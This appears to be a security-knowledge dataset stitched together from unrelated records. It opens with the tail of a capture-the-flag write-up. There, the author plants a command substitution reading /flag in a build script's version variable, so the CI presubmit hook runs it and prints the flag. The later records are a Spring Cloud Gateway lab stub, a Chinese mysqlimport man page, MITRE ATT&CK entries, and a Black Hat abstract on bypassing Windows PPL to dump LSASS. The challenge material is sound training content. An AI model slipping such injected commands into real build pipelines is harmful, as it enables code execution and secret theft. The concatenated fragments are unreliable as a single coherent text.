we probably can't modify `build.sh` like this. But take a look at how the version is computed in `configure_flags.sh`: ```bash VERSION="v0.1.1" ``` We can change that to a bash command: ```bash VERSION="$(cat /flag)" ``` Let's try again: ```bash ┌──(user@kali)-[/media/…/h4ck1ng.google/EP004/Challenge_03/vrp_repo] └─$ git commit -am "Changing version" [solve 5ce2798] Changing version 1 file changed, 1 insertion(+), 1 deletion(-) ┌──(user@kali)-[/media/…/h4ck1ng.google/EP004/Challenge_03/vrp_repo] └─$ git push --set-upstream origin solve --push-option="presubmit" Enumerating objects: 15, done. Counting objects: 100% (15/15), done. Delta compression using up to 4 threads Compressing objects: 100% (10/10), done. Writing objects: 100% (12/12), 1.09 KiB | 101.00 KiB/s, done. Total 12 (delta 5), reused 0 (delta 0), pack-reused 0 remote: Starting presubmit check remote: Cloning into 'tmprepo'... remote: done. remote: HEAD is now at 5ce2798 Changing version remote: Building version https://h4ck1ng.google/solve/CIOnPushIsJustRCEAsAService remote: ./build.sh: line 5: go: command not found remote: Build server must be misconfigured again... remote: Thank you for your interest, but we are no longer accepting proposals To git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo ! [remote rejected] solve -> solve (pre-receive hook declined) error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo' ``` And we got the flag.
sec-knowleage
package org.vulhub.springcloudgateway; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.RestController; import org.springframework.util.StreamUtils; import org.springframework.cloud.gateway.support.ShortcutConfigurable; @SpringBootApplication @RestController public class SpringCloudGatewayApplication { public static void main(String[] args) { SpringApplication.run(SpringCloudGatewayApplication.class, args); } }
sec-knowleage
mysqlimport === 为MySQL服务器用命令行方式导入数据 ## 补充说明 **mysqlimport命令** 为mysql数据库服务器提供了一种命令行方式导入数据工具,它从特定格式的文本文件中读取数据插入MySQL数据库表中。 ### 语法 ```shell mysqlimport(选项)(参数) ``` ### 选项 ```shell -D:导入数据前清空表; -f:出现错误时继续处理剩余的操作; -h:MySQL服务器的ip地址或主机名; -u:连接MySQL服务器的用户名; -p:连接MySQL服务器的密码。 ``` ### 参数 * 数据库名:指定要导入的数据库名称; * 文本文件:包含特定格式文本文件。
sec-knowleage
ATT&CK ID:G0032 ATT&CK Technique Name:Lazarus Group Lazarus Group has created new email accounts for spearphishing operations.[7]
secon
ATT&CK ID:S0534 ATT&CK Technique Name:Bazar Bazar can collect the IP address and NetBIOS name of an infected machine.[33]
secon
titleblackhat:asia-23 PPLdump Is Dead. Long Live PPLdump! The Windows Protected Process Light (PPL) mechanism hardens anti-malware and critical Windows services against tampering, even by administrators. This special status is guarded by the Windows Code Integrity (CI) subsystem which ensures that PPL processes will only run code with special signatures from Microsoft or trusted vendors.PPL has a history of bypasses. The most notorious is PPLdump, a turnkey user mode tool that exploits a Windows vulnerability to achieve arbitrary PPL code execution and dump any PPL process. This can be used to dump the Windows credential store, LSASS, enabling lateral movement. PPLdump is open source, making it easy to alter the payload to perform other privileged actions such as disabling security software.PPL bypasses are particularly interesting because Microsoft considers PPL a defense-in-depth measure, not a formal security boundary, so these bugs do not qualify for patches. This can result in long-lived vulnerabilities with real-world impact and no patch in sight. The vulnerability underlying and predating PPLdump was publicly disclosed in 2018, but Microsoft didn't patch it until 2022, over a year after PPLdump's 2021 release.In this talk, we'll review PPL's design, as well as some historical exploits and their mitigations. Next, we'll describe a few new attacks against PPL, including a design flaw in CI that enables unsigned fully-privileged PPL code execution without kernel exploitation. We will demonstrate this flaw and release two tools that exploit it. The first is a pure-usermode PPL process dumper, similar to PPLdump. The second tool demonstrates how this vulnerability effectively grants full read-write access to physical memory. Finally, we will release code that anti-malware vendors can employ to mitigate this type of attack and discuss a few changes to Windows that could stop it entirely.
secon
ATT&CK ID:S0385 ATT&CK Technique Name:njRAT njRAT can search a list of running processes for Tr.exe.[182]
secon
ATT&CK ID:S0362 ATT&CK Technique Name:Linux Rabbit Linux Rabbit acquires valid SSH accounts through brute force. [43]
secon
ATT&CK ID:M1047 ATT&CK Technique Name:Audit Routinely check account role permissions to ensure only expected users and roles have permission to modify system firewalls.
secon
ATT&CK ID:M1013 ATT&CK Technique Name:Application Developer Guidance Ensure that applications do not store sensitive data or credentials insecurely. (e.g. plaintext credentials in code, published credentials in repositories, or credentials in public cloud storage).
secon
ATT&CK ID:G1004 ATT&CK Technique Name:LAPSUS$ LAPSUS$ has spammed target users with MFA prompts in the hope that the legitimate user will grant necessary approval.[4]
secon